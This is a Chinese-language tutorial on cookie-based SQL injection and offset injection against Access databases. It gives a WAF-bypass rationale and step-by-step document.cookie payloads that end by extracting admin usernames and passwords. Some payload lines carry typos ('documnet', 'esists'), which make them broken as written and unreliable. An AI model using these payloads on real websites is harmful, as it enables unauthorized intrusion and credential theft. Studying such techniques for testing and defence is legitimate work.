网络安全从入门到精通 (第五章-1 )Access注入 — Cookie注入&偏移注入
本文内容:
- Cookie注入简介
- Cookie注入的核心
- 怎么修改Cookie
- Access数据库注入介绍
- Cookie注入具体流程
- 偏移注入使用场景
- 偏移注入具体流程
前言:数据库有很多:
Mysql、Access、Mssql、Oracle
不同的数据库,虽然语句蕾西,但是在渗透测试的时候是不同的。
1,Cookie注入简介:
cookie:就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获得了管理员的Cookie,你可以无需密码直接登录管理。
访问网站,协议是:HTTP协议,HTTP协议它是无状态的。
无状态:就是它不知道是谁访问,所以就设置了Cookie,Cookie就相当于身份证,通过一串字符串代替。
Cookie它并不安全,没有绝对的安全,用户的体验性和安全是需要平衡的。
2,Cookie注入的核心:
在很多时候开发人员在开发的时候为了考虑到多种接收传参,在接收传参的时候,都是用很多种方式接收。
例如:
PHP中的$_REQUSE[]可以获取POST|GET|COOKIE传参。
如果说开发用了$_REQUSE来接收参数。
然后POST和GET传参被waf拦截了,我们就可以尝试Cookie传参,有可能waf没有对Cookie传参进行处理,,那样我们不就可以绕过。
$_REQUSE php版本低于5.4会接收Xookie传参,所以注入时,也可以先查询一下数据库版本。
3,怎么修改Cooke:
方法一:
使用burpsuite抓取数据包,添加一个Cookie字段在请求头里。
注意:Cookie传参值需要URL编码。
方法二:
用js来设置Cookie
按F12调出浏览器开发者工具,选择Console,打开浏览器的控制台,输入设置js的语句就可以了。
比如:documnet.cookie="id="+escape("xx")
escape:是一个编码函数,这个函数会进行一次URL编码。
方法三:
F12——Application——Cookies,直接双击修改。
4,Access数据库注入
Access数据库在判断回显点的时候,必须接一个表名,没有别的库,只有一个库名,不用考虑库名。
不知道表名:只能靠猜,不过有几个常用的表,比如admin、user、news、job。
Access数据库,没有系统自带表,想要获取表名和字段名,方法只有靠爆破。
账号和密码一般在盛行Access数据库的年代,都在admin表的username和password字段中。
esists:这个函数就是用来检查表名是否存在,原理就是去检查子查询能否查询到数据,如果能,则返回True。
5,Cookie注入的流程:
例如:
获取admin表的账号和密码,账号和密码的字段名分别是username、password,输出点是2,3。
1.判断是否存在注入:
在URL栏中直接输入and 1=1 和and 1=2
如果被拦截了,我们就需要测试一下Cookie是否被拦截:
在浏览器控制台:输入js语句:
document.cookie="id="+escape("xx and 1=1")
document.cookie="id="+escape("xx and 1=2")
2.判断当前页面字段数:
document.cookie="id="+escape("xx order by 1")
3.判断想要获取数据的表名:
document.cookie="id="+escape("xx and (exists(select * from admin))")
4.查看输出点:
document.cookie="id="+escape("xx select 1,2,3 from admin")
5.判断字段名并输入账号和密码:
document.cookie="id="+escape("xx select 1,username,password from admin")
6,偏移注入使用场景:
在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够,又猜不到表名、字段名的情况下,我们可以使用偏移注入
像SQLMAP之类的工具实际上就是爆破字段的名字,但是如果字段名称比较奇葩,工具也就无可奈何了。
无法查询表名:强行爆破
无法查询字段名:偏移注入:纵然不知道表名,但是还是可以获取数据的。
用法:
admin.*就是admin表里所有的字段。
select * from admin
select admin.* from admin
这两句是一样的。
7,偏移注入的步骤(以Access为例):
1.判断注入点:
当在url中输入and 1=1和and1=2时,出现错误提示,说明Get传参被处理了,我们就需要看看Cookie传参是否没有被处理。
使用js代码在控制台判断。
document.cookie="id="+escape("xx and 1=1")
document.cookie="id="+escape("xx and 1=2")
2.order by 判断字段数:
documnet.cookie="id="+escape("xx order by 1")
3.判断表名:
documnet.cookie="id="+escape("xx and (esists(select * from admin))")
4.联合查询(判断输出点):
注意:
字段数相同
注入点的表的字段一定要大于查询的表。
top x取x条数据,一定要降序,才能达到limit的效果。
documnet. cookie="id="+escape("xx union select 1,2,3...... from admin")
5.获取表中列数(知道存在几列以及输出点):
document.cookie="id="+escape("xx union select 1,2,3......from admin")
6.开始偏移注入:
documnet.cookie="id="+escape("xx union select 1,2,admin.*, from admin")
注意:有的输出点可能在网上让一些东西所遮挡住了,所以我们要查看一下网页代码。
与君共勉:
在光芒万丈之前,
我们都要欣然接受眼下的难堪和不易,
接受一个人的孤独和偶尔的无助,
认真做好眼前的每件事,
你想要的都会有。